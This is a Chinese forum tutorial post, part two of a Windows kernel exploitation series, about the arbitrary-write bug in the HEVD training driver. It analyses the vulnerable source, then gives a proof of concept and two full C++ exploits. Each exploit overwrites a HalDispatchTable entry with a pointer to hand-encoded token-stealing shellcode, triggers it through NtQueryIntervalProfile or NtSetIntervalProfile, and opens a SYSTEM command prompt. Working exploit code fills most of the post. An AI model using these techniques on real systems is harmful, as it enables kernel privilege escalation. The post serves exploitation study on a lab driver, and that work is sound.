首页
论坛
课程
招聘
[原创]Windows Kernel Exploitation Notes(二)——HEVD Write-What-Where
2021-7-5 23:03 4249

[原创]Windows Kernel Exploitation Notes(二)——HEVD Write-What-Where

erfze 活跃值
11
2021-7-5 23:03
4249

环境配置及基础知识见上一篇,本篇及后续篇章不不再赘述。本篇使用环境如下:

  • 物理机OS:Windows 10 20H2 x64
  • 物理机WinDbg:10.0.19041.685
  • 虚拟机OS:Windows 7 SP1 x86(6.1.7601.17514)
  • VMware:VMware Workstation 15 Pro
  • Visual Studio 2019

0x01 Root Cause Analyses

触发漏洞源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
NTSTATUS
TriggerArbitraryWrite(
    _In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
)
{
    PULONG_PTR What = NULL;
    PULONG_PTR Where = NULL;
    NTSTATUS Status = STATUS_SUCCESS;
 
    PAGED_CODE();
 
    __try
    {
        //
        // Verify if the buffer resides in user mode
        //
 
        ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(UCHAR));
 
        What = UserWriteWhatWhere->What;
        Where = UserWriteWhatWhere->Where;
 
        DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
        DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
        DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
        DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);
 
#ifdef SECURE
        //
        // Secure Note: This is secure because the developer is properly validating if address
        // pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()/
        // ProbeForWrite() routine before performing the write operation
        //
 
        ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
        ProbeForWrite((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
 
        *(Where) = *(What);
#else
        DbgPrint("[+] Triggering Arbitrary Write\n");
 
        //
        // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
        // because the developer is writing the value pointed by 'What' to memory location
        // pointed by 'Where' without properly validating if the values pointed by 'Where'
        // and 'What' resides in User mode
        //
 
        *(Where) = *(What);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    //
    // There is one more hidden vulnerability. Find it out.
    //
 
    return Status;
}

对比Vulnerable版本与Secure版本可以发现,其在执行*(Where) = *(What)语句之前未通过ProbeForRead/ProbeForWrite函数校验读取及写入地址的合法性。跟进ProbeForRead函数:

 

 

首先是校验边界,其次校验地址是否处于用户空间范围内(nt!MmUserProbeAddress其值由MiInitializeBootDefaults函数初始化):

 

 

边界未对齐,触发STATUS_DATATYPE_MISALIGNMENT异常:

 

 

越界则触发STATUS_ACCESS_VIOLATION异常:

 

 

ProbeForWrite函数在边界对齐及地址范围校验方面与ProbeForRead类似,除此之外该函数会校验地址是否可写,可读,可访问:

 

 

编写POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <windows.h>
 
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_ARBITRARY_WRITE                               IOCTL(0x802)
typedef struct _WRITE_WHAT_WHERE
{
    PULONG_PTR What;
    PULONG_PTR Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;
 
int main()
{
    HANDLE dev = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);
    if (dev == INVALID_HANDLE_VALUE)
    {
        printf("Failed!\n");
        system("pause");
        return -1;
    }
    printf("Done! Device Handle:0x%p\n", dev);
    PWRITE_WHAT_WHERE Buffer;
    Buffer = (WRITE_WHAT_WHERE*)malloc(sizeof(WRITE_WHAT_WHERE));
    ZeroMemory(Buffer, sizeof(WRITE_WHAT_WHERE));
    Buffer->Where=(PULONG_PTR)0x41414141;
    Buffer->What = (PULONG_PTR)0x42424242;
 
    DWORD size_returned = 0;
    BOOL is_ok = DeviceIoControl(dev, HEVD_IOCTL_ARBITRARY_WRITE, Buffer, sizeof(WRITE_WHAT_WHERE), NULL, 0, &size_returned, NULL);
    CloseHandle(dev);
    system("pause");
    return 0;
}

触发漏洞:

 

0x02 Exploit

根据上文分析,现已可以实现任意地址写。将nt!HalDispatchTable中函数地址覆盖为Shellcode地址可以实现任意代码执行,具体见下文分析。

 

nt!HalDispatchTableHalQuerySystemInformationHalSetSystemInformation是在内核初始化过程中确定的:

 

 

二者分别可以通过NtQueryIntervalProfileNtSetIntervalProfile函数调用:

 

 

 

下面分别来介绍如何按上图执行流来执行至目标函数。NtQueryIntervalProfile函数定义如下:

1
2
3
4
NTSTATUS
NtQueryIntervalProfile (
    KPROFILE_SOURCE ProfileSource,
    ULONG *Interval);

其中KPROFILE_SOURCE是一枚举类型:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
typedef enum _KPROFILE_SOURCE {
    ProfileTime,
    ProfileAlignmentFixup,
    ProfileTotalIssues,
    ProfilePipelineDry,
    ProfileLoadInstructions,
    ProfilePipelineFrozen,
    ProfileBranchInstructions,
    ProfileTotalNonissues,
    ProfileDcacheMisses,
    ProfileIcacheMisses,
    ProfileCacheMisses,
    ProfileBranchMispredictions,
    ProfileStoreInstructions,
    ProfileFpInstructions,
    ProfileIntegerInstructions,
    Profile2Issue,
    Profile3Issue,
    Profile4Issue,
    ProfileSpecialInstructions,
    ProfileTotalCycles,
    ProfileIcacheIssues,
    ProfileDcacheAccesses,
    ProfileMemoryBarrierCycles,
    ProfileLoadLinkedIssues,
    ProfileMaximum
} KPROFILE_SOURCE, *PKPROFILE_SOURCE;

NtQueryIntervalProfile首先校验_KTHREADPreviousMode(Offset 0x13A)字段值(关于_KPCR_KPRCB_KTHREAD上一篇有介绍):

 

 

其次判断参数Interval指向地址是否超过MmUserProbeAddress

 

 

最后判断ProfileSource是否为零,非零值则调用KeQueryIntervalProfile

 

 

KeQueryIntervalProfile会判断ProfileSource是否为1,不为1才会继续调用nt!HalDispatchTable+0x4

 

 

如此,笔者构造Exploit中对该函数调用如下:

1
2
3
4
5
6
7
PNtQueryIntervalProfile NtQueryIntervalProfile = (PNtQueryIntervalProfile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryIntervalProfile");
    if (!NtQueryIntervalProfile) {
        cout << "[!] Failed to Get the Address of NtQueryIntervalProfile." << endl;
        cout << "[!] Last error " << GetLastError() << endl;
        exit(1);
    }
    NtQueryIntervalProfile(ProfileTotalIssues, (ULONG*)SC);        //SC——>Shellcode Address

nt!HalDispatchTable+0x4函数调用不止KeQueryIntervalProfile一处,所以在Shellcode中需要将其替换成原数值,通过其与HalSetSystemInformation函数地址相差0x912来进行恢复:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
INT32 KrBase = GetKernelBaseAddress();
    INT32 HalDispatchTable_Address = KrBase + 0x0012b3f8;
    INT32 HalQuerySystemInformation_Address = HalDispatchTable_Address + 0x4;
    INT32 HalSetSystemInformation_Address = HalDispatchTable_Address + 0x8;     //HalQuerySystemInformation_Address Offset 0x14
    CHAR* SC = (CHAR*)VirtualAlloc(0, 0x60, 0x3000, 0x40);
    ZeroMemory(SC, 0x60);
    __asm {
        pushad;
        mov eax, HalSetSystemInformation_Address;
        mov ebx, HalQuerySystemInformation_Address;
        mov edi, SC;
        mov[edi], 0x60;
        mov dword ptr[edi + 0x1], 0x000000E8;
        mov dword ptr[edi + 0x5], 0x588B5800;
        mov dword ptr[edi + 0x9], 0x4F488B4B;
        mov dword ptr[edi + 0xD], 0xEA81138B;
        mov dword ptr[edi + 0x11], 0x00000912;
        mov dword ptr[edi + 0x15], 0x90901189;
        mov dword ptr[edi + 0x19], 0x8B64C031;
        mov dword ptr[edi + 0x1D], 0x00012480;
        mov dword ptr[edi + 0x21], 0x50408B00;
        mov dword ptr[edi + 0x25], 0x04BAC189;
        mov dword ptr[edi + 0x29], 0x8B000000;
        mov dword ptr[edi + 0x2D], 0x0000B880;
        mov dword ptr[edi + 0x31], 0x00B82D00;
        mov dword ptr[edi + 0x35], 0x90390000;
        mov dword ptr[edi + 0x39], 0x000000B4;
        mov dword ptr[edi + 0x3D], 0x908BED75;
        mov dword ptr[edi + 0x41], 0x000000F8;
        mov dword ptr[edi + 0x45], 0x00F89189;
        mov dword ptr[edi + 0x49], 0x31610000;
        mov dword ptr[edi + 0x4D], 0x0000C3C0;
        mov dword ptr[edi + 0x51], eax;
        mov dword ptr[edi + 0x55], ebx;
        popad;
    }

Shellcode如下:

 

 

NtSetIntervalProfile函数定义如下:

1
2
3
4
NTSTATUS
NtSetIntervalProfile (
    ULONG Interval,
    KPROFILE_SOURCE ProfileSource);

其对参数判断位于KeSetIntervalProfile函数内,首先校验nt!PerfGlobalGroupMask+0x4

 

 

其次判断ProfileSource是否为0及是否为1:

 

 

上述两种方式思想相同,只是具体实现方式略有不同,两种方式完整Exploit如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
//HalSetSystemInformation
#include <iostream>
#include <string.h>
#include <Windows.h>
 
using namespace std;
 
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_ARBITRARY_WRITE                               IOCTL(0x802)
 
typedef struct SYSTEM_MODULE {
    ULONG                Reserved1;
    ULONG                Reserved2;
    PVOID                ImageBaseAddress;
    ULONG                ImageSize;
    ULONG                Flags;
    WORD                 Id;
    WORD                 Rank;
    WORD                 LoadCount;
    WORD                 NameOffset;
    CHAR                 Name[256];
}SYSTEM_MODULE, * PSYSTEM_MODULE;
 
typedef struct SYSTEM_MODULE_INFORMATION{
    ULONG                ModulesCount;
    SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
 
typedef enum _SYSTEM_INFORMATION_CLASS{
    SystemModuleInformation = 0xB
} SYSTEM_INFORMATION_CLASS;
 
typedef struct _WRITE_WHAT_WHERE
{
    PULONG_PTR What;
    PULONG_PTR Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;
 
typedef enum _KPROFILE_SOURCE {
    ProfileTime,
    ProfileAlignmentFixup,
    ProfileTotalIssues,
    ProfilePipelineDry,
    ProfileLoadInstructions,
    ProfilePipelineFrozen,
    ProfileBranchInstructions,
    ProfileTotalNonissues,
    ProfileDcacheMisses,
    ProfileIcacheMisses,
    ProfileCacheMisses,
    ProfileBranchMispredictions,
    ProfileStoreInstructions,
    ProfileFpInstructions,
    ProfileIntegerInstructions,
    Profile2Issue,
    Profile3Issue,
    Profile4Issue,
    ProfileSpecialInstructions,
    ProfileTotalCycles,
    ProfileIcacheIssues,
    ProfileDcacheAccesses,
    ProfileMemoryBarrierCycles,
    ProfileLoadLinkedIssues,
    ProfileMaximum
} KPROFILE_SOURCE, * PKPROFILE_SOURCE;
 
typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(
    __in SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout PVOID SystemInformation,
    __in ULONG SystemInformationLength,
    __out_opt PULONG ReturnLength
    );
 
typedef NTSTATUS(WINAPI* PNtQueryIntervalProfile)(
    __in KPROFILE_SOURCE ProfileSource,
    __in ULONG* Interval);
 
typedef NTSTATUS(WINAPI* PNtSetIntervalProfile)(
    __in ULONG* Interval,
    __in KPROFILE_SOURCE ProfileSource);
 
INT32 GetKernelBaseAddress(){
 
    //Get NtQuerySystemInformation Address
    PNtQuerySystemInformation NtQuerySystemInformation =(PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),"NtQuerySystemInformation");
 
    if (!NtQuerySystemInformation){
        cout << "[!] Failed to Get the Address of NtQuerySystemInformation." << endl;
        cout << "[!] Last Error:" << GetLastError() << endl;
        exit(1);
    }
 
    ULONG len = 0;
 
    //Get Buffer Length
    NtQuerySystemInformation(SystemModuleInformation,NULL,0,&len);
 
    //Allocate Memory
    PSYSTEM_MODULE_INFORMATION PModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL,len,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE);
 
    //Get SYSTEM_MODULE_INFORMATION
    NTSTATUS Status = NtQuerySystemInformation(SystemModuleInformation,PModuleInfo,len,&len);
 
    if (Status != (NTSTATUS)0x0){
        cout << "[!] NtQuerySystemInformation Failed!" << endl;
        exit(1);
    }
 
    PVOID KernelImageBase = PModuleInfo->Modules[0].ImageBaseAddress;
 
    cout << "[>] Kernel base address: 0x" << hex << KernelImageBase << endl;
 
    return (INT32)KernelImageBase;
}
 
int main() {
 
    HANDLE hFile = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);
 
    if (hFile == INVALID_HANDLE_VALUE) {
        cout << "[!] No Handle to HackSysExtremeVulnerableDriver" << endl;
        exit(1);
    }
 
    cout << "[>] Handle to HackSysExtremeVulnerableDriver: 0x" << hex << (INT32)hFile << endl;
 
    INT32 KrBase = GetKernelBaseAddress();
    INT32 HalDispatchTable_Address = KrBase + 0x0012b3f8;
    INT32 HalQuerySystemInformation_Address = HalDispatchTable_Address + 0x4;
    INT32 HalSetSystemInformation_Address = HalDispatchTable_Address + 0x8;     //HalQuerySystemInformation_Address Offset 0x912
    CHAR* SC = (CHAR*)VirtualAlloc(0, 0x60, 0x3000, 0x40);
    ZeroMemory(SC, 0x60);
    __asm {
        pushad;
        mov ebx, HalSetSystemInformation_Address;
        mov eax, HalQuerySystemInformation_Address;
        mov edi, SC;
        mov[edi], 0x60;
        mov dword ptr[edi + 0x1], 0x000000E8;
        mov dword ptr[edi + 0x5], 0x588B5800;
        mov dword ptr[edi + 0x9], 0x4F488B4B;
        mov dword ptr[edi + 0xD], 0xC281138B;
        mov dword ptr[edi + 0x11], 0x00000912;
        mov dword ptr[edi + 0x15], 0x90901189;
        mov dword ptr[edi + 0x19], 0x8B64C031;
        mov dword ptr[edi + 0x1D], 0x00012480;
        mov dword ptr[edi + 0x21], 0x50408B00;
        mov dword ptr[edi + 0x25], 0x04BAC189;
        mov dword ptr[edi + 0x29], 0x8B000000;
        mov dword ptr[edi + 0x2D], 0x0000B880;
        mov dword ptr[edi + 0x31], 0x00B82D00;
        mov dword ptr[edi + 0x35], 0x90390000;
        mov dword ptr[edi + 0x39], 0x000000B4;
        mov dword ptr[edi + 0x3D], 0x908BED75;
        mov dword ptr[edi + 0x41], 0x000000F8;
        mov dword ptr[edi + 0x45], 0x00F89189;
        mov dword ptr[edi + 0x49], 0x31610000;
        mov dword ptr[edi + 0x4D], 0x0000C3C0;
        mov dword ptr[edi + 0x51], eax;
        mov dword ptr[edi + 0x55], ebx;
        popad;
    }
    PULONG_PTR* PShellcode = (PULONG_PTR*)&SC;
    PWRITE_WHAT_WHERE Buffer;
    Buffer = (WRITE_WHAT_WHERE*)malloc(sizeof(WRITE_WHAT_WHERE));
    ZeroMemory(Buffer, sizeof(WRITE_WHAT_WHERE));
    Buffer->Where = (PULONG_PTR)HalSetSystemInformation_Address;
    Buffer->What = (PULONG_PTR)PShellcode;
    DWORD size_returned = 0;
    BOOL is_ok = DeviceIoControl(hFile, HEVD_IOCTL_ARBITRARY_WRITE, Buffer, sizeof(WRITE_WHAT_WHERE), NULL, 0, &size_returned, NULL);
    PNtSetIntervalProfile NtSetIntervalProfile = (PNtSetIntervalProfile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetIntervalProfile");
    if (!NtSetIntervalProfile) {
        cout << "[!] Failed to Get the Address of NtSetIntervalProfile." << endl;
        cout << "[!] Last error " << GetLastError() << endl;
        exit(1);
    }
    NtSetIntervalProfile((ULONG*)SC, ProfileTotalIssues);
 
    PROCESS_INFORMATION ProcessInformation;
    ZeroMemory(&ProcessInformation, sizeof(ProcessInformation));
    STARTUPINFOA StartupInfo;
    ZeroMemory(&StartupInfo, sizeof(StartupInfo));
    CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &StartupInfo, &ProcessInformation);
 
    VirtualFree(SC, 0, MEM_RELEASE);
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
//HalQuerySystemInformation
#include <iostream>
#include <string.h>
#include <Windows.h>
 
using namespace std;
 
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_ARBITRARY_WRITE                               IOCTL(0x802)
 
typedef struct SYSTEM_MODULE {
    ULONG                Reserved1;
    ULONG                Reserved2;
    PVOID                ImageBaseAddress;
    ULONG                ImageSize;
    ULONG                Flags;
    WORD                 Id;
    WORD                 Rank;
    WORD                 LoadCount;
    WORD                 NameOffset;
    CHAR                 Name[256];
}SYSTEM_MODULE, * PSYSTEM_MODULE;
 
typedef struct SYSTEM_MODULE_INFORMATION{
    ULONG                ModulesCount;
    SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
 
typedef enum _SYSTEM_INFORMATION_CLASS{
    SystemModuleInformation = 0xB
} SYSTEM_INFORMATION_CLASS;
 
typedef struct _WRITE_WHAT_WHERE
{
    PULONG_PTR What;
    PULONG_PTR Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;
 
typedef enum _KPROFILE_SOURCE {
    ProfileTime,
    ProfileAlignmentFixup,
    ProfileTotalIssues,
    ProfilePipelineDry,
    ProfileLoadInstructions,
    ProfilePipelineFrozen,
    ProfileBranchInstructions,
    ProfileTotalNonissues,
    ProfileDcacheMisses,
    ProfileIcacheMisses,
    ProfileCacheMisses,
    ProfileBranchMispredictions,
    ProfileStoreInstructions,
    ProfileFpInstructions,
    ProfileIntegerInstructions,
    Profile2Issue,
    Profile3Issue,
    Profile4Issue,
    ProfileSpecialInstructions,
    ProfileTotalCycles,
    ProfileIcacheIssues,
    ProfileDcacheAccesses,
    ProfileMemoryBarrierCycles,
    ProfileLoadLinkedIssues,
    ProfileMaximum
} KPROFILE_SOURCE, * PKPROFILE_SOURCE;
 
typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(
    __in SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout PVOID SystemInformation,
    __in ULONG SystemInformationLength,
    __out_opt PULONG ReturnLength
    );
 
typedef NTSTATUS(WINAPI* PNtQueryIntervalProfile)(
    __in KPROFILE_SOURCE ProfileSource,
    __in ULONG* Interval);
 
typedef NTSTATUS(WINAPI* PNtSetIntervalProfile)(
    __in ULONG* Interval,
    __in KPROFILE_SOURCE ProfileSource);
 
INT32 GetKernelBaseAddress(){
 
    //Get NtQuerySystemInformation Address
    PNtQuerySystemInformation NtQuerySystemInformation =(PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),"NtQuerySystemInformation");
 
    if (!NtQuerySystemInformation){
        cout << "[!] Failed to Get the Address of NtQuerySystemInformation." << endl;
        cout << "[!] Last Error:" << GetLastError() << endl;
        exit(1);
    }
 
    ULONG len = 0;
 
    //Get Buffer Length
    NtQuerySystemInformation(SystemModuleInformation,NULL,0,&len);
 
    //Allocate Memory
    PSYSTEM_MODULE_INFORMATION PModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL,len,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE);
 
    //Get SYSTEM_MODULE_INFORMATION
    NTSTATUS Status = NtQuerySystemInformation(SystemModuleInformation,PModuleInfo,len,&len);
 
    if (Status != (NTSTATUS)0x0){
        cout << "[!] NtQuerySystemInformation Failed!" << endl;
        exit(1);
    }
 
    PVOID KernelImageBase = PModuleInfo->Modules[0].ImageBaseAddress;
 
    cout << "[>] Kernel base address: 0x" << hex << KernelImageBase << endl;
 
    return (INT32)KernelImageBase;
}
 
int main() {
 
    HANDLE hFile = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);
 
    if (hFile == INVALID_HANDLE_VALUE) {
        cout << "[!] No Handle to HackSysExtremeVulnerableDriver" << endl;
        exit(1);
    }
 
    cout << "[>] Handle to HackSysExtremeVulnerableDriver: 0x" << hex << (INT32)hFile << endl;
 
    INT32 KrBase = GetKernelBaseAddress();
    INT32 HalDispatchTable_Address = KrBase + 0x0012b3f8;
    INT32 HalQuerySystemInformation_Address = HalDispatchTable_Address + 0x4;
    INT32 HalSetSystemInformation_Address = HalDispatchTable_Address + 0x8;     //HalQuerySystemInformation_Address Offset 0x912
    CHAR* SC = (CHAR*)VirtualAlloc(0, 0x60, 0x3000, 0x40);
    ZeroMemory(SC, 0x60);
    __asm {
        pushad;
        mov eax, HalSetSystemInformation_Address;
        mov ebx, HalQuerySystemInformation_Address;
        mov edi, SC;
        mov[edi], 0x60;
        mov dword ptr[edi + 0x1], 0x000000E8;
        mov dword ptr[edi + 0x5], 0x588B5800;
        mov dword ptr[edi + 0x9], 0x4F488B4B;
        mov dword ptr[edi + 0xD], 0xEA81138B;
        mov dword ptr[edi + 0x11], 0x00000912;
        mov dword ptr[edi + 0x15], 0x90901189;
        mov dword ptr[edi + 0x19], 0x8B64C031;
        mov dword ptr[edi + 0x1D], 0x00012480;
        mov dword ptr[edi + 0x21], 0x50408B00;
        mov dword ptr[edi + 0x25], 0x04BAC189;
        mov dword ptr[edi + 0x29], 0x8B000000;
        mov dword ptr[edi + 0x2D], 0x0000B880;
        mov dword ptr[edi + 0x31], 0x00B82D00;
        mov dword ptr[edi + 0x35], 0x90390000;
        mov dword ptr[edi + 0x39], 0x000000B4;
        mov dword ptr[edi + 0x3D], 0x908BED75;
        mov dword ptr[edi + 0x41], 0x000000F8;
        mov dword ptr[edi + 0x45], 0x00F89189;
        mov dword ptr[edi + 0x49], 0x31610000;
        mov dword ptr[edi + 0x4D], 0x0000C3C0;
        mov dword ptr[edi + 0x51], eax;
        mov dword ptr[edi + 0x55], ebx;
        popad;
    }
    PULONG_PTR* PShellcode = (PULONG_PTR*)&SC;
    PWRITE_WHAT_WHERE Buffer;
    Buffer = (WRITE_WHAT_WHERE*)malloc(sizeof(WRITE_WHAT_WHERE));
    ZeroMemory(Buffer, sizeof(WRITE_WHAT_WHERE));
    Buffer->Where = (PULONG_PTR)HalQuerySystemInformation_Address;
    Buffer->What = (PULONG_PTR)PShellcode;
    DWORD size_returned = 0;
    BOOL is_ok = DeviceIoControl(hFile, HEVD_IOCTL_ARBITRARY_WRITE, Buffer, sizeof(WRITE_WHAT_WHERE), NULL, 0, &size_returned, NULL);
 
    PNtQueryIntervalProfile NtQueryIntervalProfile = (PNtQueryIntervalProfile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryIntervalProfile");
    if (!NtQueryIntervalProfile) {
        cout << "[!] Failed to Get the Address of NtQueryIntervalProfile." << endl;
        cout << "[!] Last error " << GetLastError() << endl;
        exit(1);
    }
    NtQueryIntervalProfile(ProfileTotalIssues, (ULONG*)SC);
 
    PROCESS_INFORMATION ProcessInformation;
    ZeroMemory(&ProcessInformation, sizeof(ProcessInformation));
    STARTUPINFOA StartupInfo;
    ZeroMemory(&StartupInfo, sizeof(StartupInfo));
    CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &StartupInfo, &ProcessInformation);
 
    VirtualFree(SC, 0, MEM_RELEASE);
}

效果如下:

 

0x03 参阅链接


第五届安全开发者峰会(SDC 2021)10月23日上海召开!限时2.5折门票(含自助午餐1份)

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回